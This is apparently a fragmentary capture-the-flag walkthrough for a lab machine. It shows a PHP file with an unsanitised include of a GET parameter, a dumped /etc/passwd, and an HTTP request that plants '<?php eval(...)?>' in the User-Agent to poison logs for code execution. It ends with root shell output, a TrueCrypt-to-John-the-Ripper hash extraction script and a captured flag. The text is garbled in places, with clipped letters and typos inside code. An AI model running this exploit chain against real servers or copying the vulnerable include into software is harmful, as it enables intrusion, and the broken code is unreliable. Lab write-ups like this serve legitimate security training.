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connect.php

<?php
$file = $_GET['file'];
if(isset($file))
{
include("$file");
}
else
{
include("index.php");
}
?>
/etc/passwd

root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:1p:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody: /nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106: : /home/syslog: /usr/sbin/nologin

messagebus:x:103:107: :/nonexistent:/usr/sbin/nologin
_apt:x:104:65534: : /nonexistent:/usr/sbin/nologin

uuidd:x:105:109::/run/uuidd: /usr/sbin/nologin

isro:x:1000:1000:isro,,, :/home/isro:/bin/bash

sshd:x:106:65534::/run/sshd: /usr/sbin/nologin

ftp:x:107:114:ftp daemon,,,:/srv/ftp:/usr/sbin/nologin

mysql:x:108:115:MySQL Server,,,:/nonexistent:/bin/false
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GET /connect.php?file=connetc.php HTTP/1.1

Host: 192.168.109.129

User-Agent: Mozilla/5.0 <?php eval($_GET('a'))?> Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

/connect.php?file=/var/log/apt/history.log
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buntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
pplicable law.

o directory, logging in with HOME=~
oot@ubuntu : 4
oot@ubuntu: # pud

# cd /root
/rooti ls
inal . txt
ootPubuntu: root## cat final.txt
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python true.py bhaskara > hashes
john hashes --show

#!/usr/bin/env python

# TrueCrypt volume importion to a format usable by John The Ripper

#

# Written by Alain Espinosa <alainesp at gmail.com> in 2012. No copyright
# is claimed, and the software is hereby placed in the public domain.

# In case this attempt to disclaim copyright and place the software in the
# public domain is deemed null and void, then the software is

# Copyright (c) 2012 Alain Espinosa and it is hereby released to the

# general public under the following terms:

#

# Redistribution and use in source and binary forms, with or without

# modification, are permitted.

#

# There's ABSOLUTELY NO WARRANTY, express or implied.

#

# (This is a heavily cut-down "BSD license".)

#

# Ported to Python by Dhiru Kholia, in June of 2015

import sys

from os.path import basename
import binascii

def process_file(filename, keyfiles):

try:
f = open(filename, "rb")

except Exception as e:
sys.stderr.write("%s : No truecrypt volume found? %s\n" % str(e))
return

header = f.read(512) # encrypted header of the volume

if len(header) != 512:
f.close()
sys.stderr.write("%s : Truecrypt volume file to short: Need at least 512 bytes\n", filename)
return

for tag in ["truecrypt RIPEMD_160", "truecrypt SHA 512", "truecrypt_ WHIRLPOOL"]:

sys.stdout.write("%s:%s$" % (basename(filename), tag))
sys.stdout.write(binascii.hexlify(header))
if keyfiles:

nkeyfiles = len(keyfiles)

sys.stdout.write("$%d" % (nkeyfiles))

for keyfile in keyfiles:

sys.stdout.write("$%s" % keyfile)

sys.stdout.write(":normal::::%s\n" % filename)

# try hidden volume if any
f.seek(65536, 0)
if f.tell() != 65536:
f.close()
return



header = f.read(512)
if len(header) != 512:
f.close()
return

for tag in ["truecrypt_RIPEMD_160", "truecrypt SHA 512", "truecrypt_ WHIRLPOOL"]:

sys.stdout.write("%s:%s$" % (basename(filename), tag))
sys.stdout.write(binascii.hexlify(header))
if keyfiles:

nkeyfiles = len(keyfiles)

sys.stdout.write("$%d" % (nkeyfiles))

for keyfile in keyfiles:

sys.stdout.write("$%s" % keyfile)

sys.stdout.write(":hidden::::%s\n" % filename)
f.close()
if __name__ == "__main__":

if len(sys.argv) < 2:
sys.stderr.write("Error: No truecrypt volume file specified.\n")
sys.stderr.write("\nUtility to import TrueCrypt volume to a format crackeable by John The Ripper\n"
sys.stderr.write("\nUsage: %s volume_filename [keyfiles(s)]> output_file\n" % sys.argv[0])
sys.exit(-1)

keyfiles = []
if len(sys.argv) > 2:

keyfiles = sys.argv[2:]

process_file(sys.argv[1l], keyfiles)
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data to "flag.txt".

:~# cat flag.txt
Aryabhata Flag:{e39cflcbbeaf09141259768b6d4c63Tb}
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